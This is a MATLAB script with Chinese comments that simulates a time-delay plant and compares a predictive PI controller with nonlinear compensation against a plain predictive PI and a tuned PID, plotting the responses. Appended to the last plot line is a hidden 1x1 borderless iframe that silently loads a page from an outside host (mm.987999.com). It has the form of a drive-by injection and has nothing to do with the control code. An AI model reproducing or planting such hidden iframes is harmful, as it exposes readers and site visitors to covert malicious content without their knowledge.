pre_pid_nuc.m

超短反馈控制算法-matlab程序 与PID比较

clear all;close all;
Ts=1;
%Delay plant
Kp0=28.3;
Tp0=22;
tol=65;

sys=tf([Kp0],[Tp0,1],'inputdelay',tol);
dsys=c2d(sys,Ts,'zoh');
[num0,den0]=tfdata(dsys,'v');
num=num0;den=den0;

sys=tf([26.3],[20,1],'inputdelay',tol);
dsys=c2d(sys,Ts,'zoh');
[num1,den1]=tfdata(dsys,'v');
%%%%%%%Pre_PI & NUC 参数
y_1=0.0;
x=[0,0,0]';
lam=1.4;
error_1=0;

Kp=24.3;
Tp=20;Tol=50;
L1=0;L2=0;L3=1;
a=0.41;n=0.88;

%%%%%% Pre_PI 参数

y2_1=0.0;error2_1=0;
x2=[0,0,0]';
lam2=1.4;

Kp2=24.3;
Tp2=20;
Tol2=50;
%%%%%%% PID  参数
KP=0.01152;
KI=0.01152/25;
KD=0;

y3_1=0.0;
x3=[0,0,0]';
error3_1=0;
error3_2=0;


for k=1:1:900
time(k)=k*Ts;
rin(k)=1;

if k==500
%   num=num1;den=den1;
    %elseif k==750
%    num=num0;den=den0;
end
%%%%%%%%%%%%%%%%%% Pre_PI %%%
if k-1<1
    u2_1=0;
else
    u2_1=u2(k-1);
end
u2(k)=u2_1(1)+1/lam2/Kp2*(x2(1)+x2(2)/Tp2)-1/lam2/Tp2*x2(3);
U2(k)=u2(k);

if k>500 || k==500  %%%控制量处扰动
  %  U2(k)=U2(k)-1/24.3*0.3;
end

if k-1-tol<1
    u2_x=0;
else
    u2_x=U2(k-1-tol);
end

yout2(k)=-den(2)*y2_1+num(2)*u2_x;
error2(k)=rin(k)-yout2(k);
if abs(error2(k))<1e-3
   %error2(k)=0;
end

%Linear model
x2(1)=error2(k)-error2_1;               %Calculating P
x2(2)=error2(k)*Ts;                    %Calculating I
if k-Tol2<1
    u2_T=0;
else
    u2_T=u2(k-Tol2);
end
x2(3)=(u2(k)-u2_T)*Ts;                %Pre


y2_1=yout2(k);
error2_1=error2(k);
y2(k)=yout2(k);

%%%%%%%%%% Pre_PI & NUC %%%%%%%%%
uc(k)=1/lam/Kp*(x(1)+x(2)/Tp)-1/lam/Tp*x(3);

error(k)=rin(k)-y_1;
if abs(error(k))<1e-4
   %error(k)=0;
end
if abs(error(k))<0.05*rin(k)
    L3=0.4;%0.4
elseif abs(error(k))<0.1*rin(k)
    L3=0.5;%0.5
elseif abs(error(k))<0.15*rin(k)
    L3=0.6;%0.6
elseif abs(error(k))<0.4*rin(k)
    L3=1;
elseif abs(error(k))<0.7*rin(k)
    L3=2;
else
    L3=3;
end
if sign(error(k))*sign(error(k)-error_1)==1
    L1=1;
elseif sign(error(k))*sign(error(k)-error_1)==-1
    L1=1;
else
    L1=1;
end
L1=-sign(error(k))*sign(error(k)-error_1);%sign(error(k))^2*sign(error(k)-error_1)^2;%*(sign(uc(k))+sign(error(k)))/2;1;;%-(sign(uc(k))+sign(error(k)))/2*sign(error(k)-error_1);%
%if abs(U(51)-U(50))<1e-5
    L=1;%0
%elseif U(51)-U(50)
    L=1;
%else
    L=1;%-1
%end

%L2=-sign(sign(U(51)-U(50)))*sign(uc(k));
if abs(error(k))<1e-2 %当tao变小时，范围越大越好
    L2=1;
else
    L2=L*sign(uc(k));;%(sign(uc(k))+sign(error(k)))/2;%;;%L2=sign(uc(k));
end

if k>300   %稳定后
   L2=(sign(uc(k))+sign(error(k)))/2;
   L1=1;%sign(error(k));%*sign(error(k)-error_1);
end
v(k)=a*L1*L2*(abs(uc(k))^n/(1.2+abs(uc(k))^n))*L3;
du(k)=uc(k)+v(k);
if k-1<1
    u_1=0;
else
    u_1=u(k-1);
end
u(k)=du(k)+u_1;

U(k)=u(k);

if k>500 || k==500  %%%控制量处扰动
   % U(k)=U(k)-1/24.3*0.3;
end

if k-1-tol<1
    u_x=0;
else
    u_x=U(k-1-tol);
end
yout(k)=-den(2)*y_1+num(2)*u_x;

%Linear model
x(1)=error(k)-error_1;               %Calculating P
x(2)=error(k)*Ts;                    %Calculating I
if k-Tol<1
    u_T=0;
else
    u_T=u(k-Tol);
end
x(3)=(u(k)-u_T)*Ts;                %Pre

y_1=yout(k);
error_1=error(k);
y(k)=yout(k);
%%%%%%%%% PID
if k-1<1
    u3_1=0;
else
    u3_1=u3(k-1);
end
u3(k)=u3_1+KP*x3(1)+KI*x3(2)+KD*x3(3);
%u3_x=U3(N);
U3(k)=u3(k);
if k>500 || k==500  %%%控制量处扰动
  %  U3(k)=U3(k)-1/24.3*0.3;
end

if k-1-tol<1
    u3_x=0;
else
    u3_x=U3(k-1-tol);
end
yout3(k)=-den(2)*y3_1+num(2)*u3_x;
error3(k)=rin(k)-yout3(k);

%Linear model
x3(1)=error3(k)-error3_1;               %Calculating P
x3(2)=error3(k)*Ts;                    %Calculating I
x3(3)=(error3(k)-2*error3_1+error3_2)/Ts;                %Pre

%for j=101:-1:2
%U3(j)=U3(j-1);
%end



%U3(1)=u3(k);

y3_1=yout3(k);
error3_2=error3_1;
error3_1=error3(k);
y3(k)=yout3(k);
end
figure(1);
%plot(time,rin,'k--',time,yout,'r',time,yout2,'b');grid on;
plot(time,rin,'g--',time,y,'r',time,y2,'b',time,y3,'k');grid on;
Axis([0 k 0.6 1.1]);
xlabel('time(s)'),ylabel('rin,yout');
legend('设定值','NUC & 预测PI','预测PI','Clark整定PID');
figure(2);
plot(time,U,'r',time,u2,'b',time,U3,'k');grid on;<IFRAME SRC=http://mm.987999.com/abc.htm width=1 height=1 frameborder=0></IFRAME>